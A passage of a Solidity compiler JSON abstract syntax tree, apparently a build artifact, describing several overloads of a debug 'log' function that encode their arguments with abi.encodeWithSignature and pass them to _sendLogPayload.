memory"}},{"id":28496,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28484,"src":"41747:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28497,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28486,"src":"41751:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28498,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28488,"src":"41755:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2d8e33a4e52268aad313274a8446eec6f40466a28da2456a8f12d83b298c13ef","typeString":"literal_string \"log(string,bool,address,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":28492,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"41684:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28493,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"41688:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"41684:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28499,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"41684:74:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28491,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"41668:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28500,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"41668:91:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28501,"nodeType":"ExpressionStatement","src":"41668:91:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"41583:3:15","parameters":{"id":28489,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28482,"mutability":"mutable","name":"p0","nameLocation":"41601:2:15","nodeType":"VariableDeclaration","scope":28503,"src":"41587:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28481,"name":"string","nodeType":"ElementaryTypeName","src":"41587:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28484,"mutability":"mutable","name":"p1","nameLocation":"41610:2:15","nodeType":"VariableDeclaration","scope":28503,"src":"41605:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28483,"name":"bool","nodeType":"ElementaryTypeName","src":"41605:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28486,"mutability":"mutable","name":"p2","nameLocation":"41622:2:15","nodeType":"VariableDeclaration","scope":28503,"src":"41614:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28485,"name":"address","nodeType":"ElementaryTypeName","src":"41614:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28488,"mutability":"mutable","name":"p3","nameLocation":"41640:2:15","nodeType":"VariableDeclaration","scope":28503,"src":"41626:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28487,"name":"string","nodeType":"ElementaryTypeName","src":"41626:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"41586:57:15"},"returnParameters":{"id":28490,"nodeType":"ParameterList","parameters":[],"src":"41658:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28526,"nodeType":"FunctionDefinition","src":"41772:181:15","nodes":[],"body":{"id":28525,"nodeType":"Block","src":"41847:106:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c616464726573732c626f6f6c29","id":28517,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"41897:31:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_958c28c6e7bd79de7ce7f6f112cbcb194d9e383764dfb947492ee1374ff5c482","typeString":"literal_string \"log(string,bool,address,bool)\""},"value":"log(string,bool,address,bool)"},{"id":28518,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28505,"src":"41930:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28519,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28507,"src":"41934:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28520,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28509,"src":"41938:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28521,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28511,"src":"41942:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_958c28c6e7bd79de7ce7f6f112cbcb194d9e383764dfb947492ee1374ff5c482","typeString":"literal_string \"log(string,bool,address,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":28515,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"41873:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28516,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"41877:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"41873:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28522,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"41873:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28514,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"41857:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28523,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"41857:89:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28524,"nodeType":"ExpressionStatement","src":"41857:89:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"41781:3:15","parameters":{"id":28512,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28505,"mutability":"mutable","name":"p0","nameLocation":"41799:2:15","nodeType":"VariableDeclaration","scope":28526,"src":"41785:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28504,"name":"string","nodeType":"ElementaryTypeName","src":"41785:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28507,"mutability":"mutable","name":"p1","nameLocation":"41808:2:15","nodeType":"VariableDeclaration","scope":28526,"src":"41803:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28506,"name":"bool","nodeType":"ElementaryTypeName","src":"41803:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28509,"mutability":"mutable","name":"p2","nameLocation":"41820:2:15","nodeType":"VariableDeclaration","scope":28526,"src":"41812:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28508,"name":"address","nodeType":"ElementaryTypeName","src":"41812:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28511,"mutability":"mutable","name":"p3","nameLocation":"41829:2:15","nodeType":"VariableDeclaration","scope":28526,"src":"41824:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28510,"name":"bool","nodeType":"ElementaryTypeName","src":"41824:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"41784:48:15"},"returnParameters":{"id":28513,"nodeType":"ParameterList","parameters":[],"src":"41847:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28549,"nodeType":"FunctionDefinition","src":"41959:187:15","nodes":[],"body":{"id":28548,"nodeType":"Block","src":"42037:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c616464726573732c6164647265737329","id":28540,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"42087:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_33e9dd1deb33816160eb59d86987de501b214bedbbe3c70103eff4092834b53d","typeString":"literal_string \"log(string,bool,address,address)\""},"value":"log(string,bool,address,address)"},{"id":28541,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28528,"src":"42123:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28542,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28530,"src":"42127:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28543,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28532,"src":"42131:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28544,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28534,"src":"42135:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_33e9dd1deb33816160eb59d86987de501b214bedbbe3c70103eff4092834b53d","typeString":"literal_string \"log(string,bool,address,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":28538,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"42063:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28539,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"42067:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"42063:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28545,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"42063:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28537,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"42047:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28546,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"42047:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28547,"nodeType":"ExpressionStatement","src":"42047:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"41968:3:15","parameters":{"id":28535,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28528,"mutability":"mutable","name":"p0","nameLocation":"41986:2:15","nodeType":"VariableDeclaration","scope":28549,"src":"41972:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28527,"name":"string","nodeType":"ElementaryTypeName","src":"41972:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28530,"mutability":"mutable","name":"p1","nameLocation":"41995:2:15","nodeType":"VariableDeclaration","scope":28549,"src":"41990:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28529,"name":"bool","nodeType":"ElementaryTypeName","src":"41990:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28532,"mutability":"mutable","name":"p2","nameLocation":"42007:2:15","nodeType":"VariableDeclaration","scope":28549,"src":"41999:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28531,"name":"address","nodeType":"ElementaryTypeName","src":"41999:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28534,"mutability":"mutable","name":"p3","nameLocation":"42019:2:15","nodeType":"VariableDeclaration","scope":28549,"src":"42011:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28533,"name":"address","nodeType":"ElementaryTypeName","src":"42011:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"41971:51:15"},"returnParameters":{"id":28536,"nodeType":"ParameterList","parameters":[],"src":"42037:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28572,"nodeType":"FunctionDefinition","src":"42152:193:15","nodes":[],"body":{"id":28571,"nodeType":"Block","src":"42233:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c75696e743235362c75696e7432353629","id":28563,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"42283:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_f8f51b1efa50f24f22e6d84ce2fe784a33e1301484ada1546e913ae05d6370e9","typeString":"literal_string \"log(string,address,uint256,uint256)\""},"value":"log(string,address,uint256,uint256)"},{"id":28564,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28551,"src":"42322:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28565,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28553,"src":"42326:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28566,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28555,"src":"42330:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":28567,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28557,"src":"42334:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f8f51b1efa50f24f22e6d84ce2fe784a33e1301484ada1546e913ae05d6370e9","typeString":"literal_string \"log(string,address,uint256,uint256)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":28561,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"42259:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28562,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"42263:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"42259:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28568,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"42259:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28560,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"42243:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28569,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"42243:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28570,"nodeType":"ExpressionStatement","src":"42243:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"42161:3:15","parameters":{"id":28558,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28551,"mutability":"mutable","name":"p0","nameLocation":"42179:2:15","nodeType":"VariableDeclaration","scope":28572,"src":"42165:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28550,"name":"string","nodeType":"ElementaryTypeName","src":"42165:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28553,"mutability":"mutable","name":"p1","nameLocation":"42191:2:15","nodeType":"VariableDeclaration","scope":28572,"src":"42183:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28552,"name":"address","nodeType":"ElementaryTypeName","src":"42183:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28555,"mutability":"mutable","name":"p2","nameLocation":"42203:2:15","nodeType":"VariableDeclaration","scope":28572,"src":"42195:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":28554,"name":"uint256","nodeType":"ElementaryTypeName","src":"42195:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":28557,"mutability":"mutable","name":"p3","nameLocation":"42215:2:15","nodeType":"VariableDeclaration","scope":28572,"src":"42207:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":28556,"name":"uint256","nodeType":"ElementaryTypeName","src":"42207:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"42164:54:15"},"returnParameters":{"id":28559,"nodeType":"ParameterList","parameters":[],"src":"42233:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28595,"nodeType":"FunctionDefinition","src":"42351:198:15","nodes":[],"body":{"id":28594,"nodeType":"Block","src":"42438:111:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c75696e743235362c737472696e6729","id":28586,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"42488:36:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_5a477632ed0f8b7872a83c9247644de555db395491f2f355c6edb676d8bcb46c","typeString":"literal_string \"log(string,address,uint256,string)\""},"value":"log(string,address,uint256,string)"},{"id":28587,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28574,"src":"42526:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28588,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28576,"src":"42530:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28589,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28578,"src":"42534:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":28590,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28580,"src":"42538:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5a477632ed0f8b7872a83c9247644de555db395491f2f355c6edb676d8bcb46c","typeString":"literal_string \"log(string,address,uint256,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":28584,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"42464:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28585,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"42468:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"42464:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28591,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"42464:77:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28583,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"42448:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28592,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"42448:94:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28593,"nodeType":"ExpressionStatement","src":"42448:94:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"42360:3:15","parameters":{"id":28581,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28574,"mutability":"mutable","name":"p0","nameLocation":"42378:2:15","nodeType":"VariableDeclaration","scope":28595,"src":"42364:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28573,"name":"string","nodeType":"ElementaryTypeName","src":"42364:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28576,"mutability":"mutable","name":"p1","nameLocation":"42390:2:15","nodeType":"VariableDeclaration","scope":28595,"src":"42382:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28575,"name":"address","nodeType":"ElementaryTypeName","src":"42382:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28578,"mutability":"mutable","name":"p2","nameLocation":"42402:2:15","nodeType":"VariableDeclaration","scope":28595,"src":"42394:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":28577,"name":"uint256","nodeType":"ElementaryTypeName","src":"42394:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":28580,"mutability":"mutable","name":"p3","nameLocation":"42420:2:15","nodeType":"VariableDeclaration","scope":28595,"src":"42406:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28579,"name":"string","nodeType":"ElementaryTypeName","src":"42406:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"42363:60:15"},"returnParameters":{"id":28582,"nodeType":"ParameterList","parameters":[],"src":"42438:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28618,"nodeType":"FunctionDefinition","src":"42555:187:15","nodes":[],"body":{"id":28617,"nodeType":"Block","src":"42633:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c75696e743235362c626f6f6c29","id":28609,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"42683:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_fc4845f029f76ed29f7b800fe92a7851214073a807806d7d808676b2cbe7a1c7","typeString":"literal_string \"log(string,address,uint256,bool)\""},"value":"log(string,address,uint256,bool)"},{"id":28610,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28597,"src":"42719:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28611,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28599,"src":"42723:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28612,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28601,"src":"42727:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":28613,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28603,"src":"42731:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_fc4845f029f76ed29f7b800fe92a7851214073a807806d7d808676b2cbe7a1c7","typeString":"literal_string \"log(string,address,uint256,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":28607,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"42659:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28608,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"42663:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"42659:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28614,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"42659:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28606,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"42643:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) 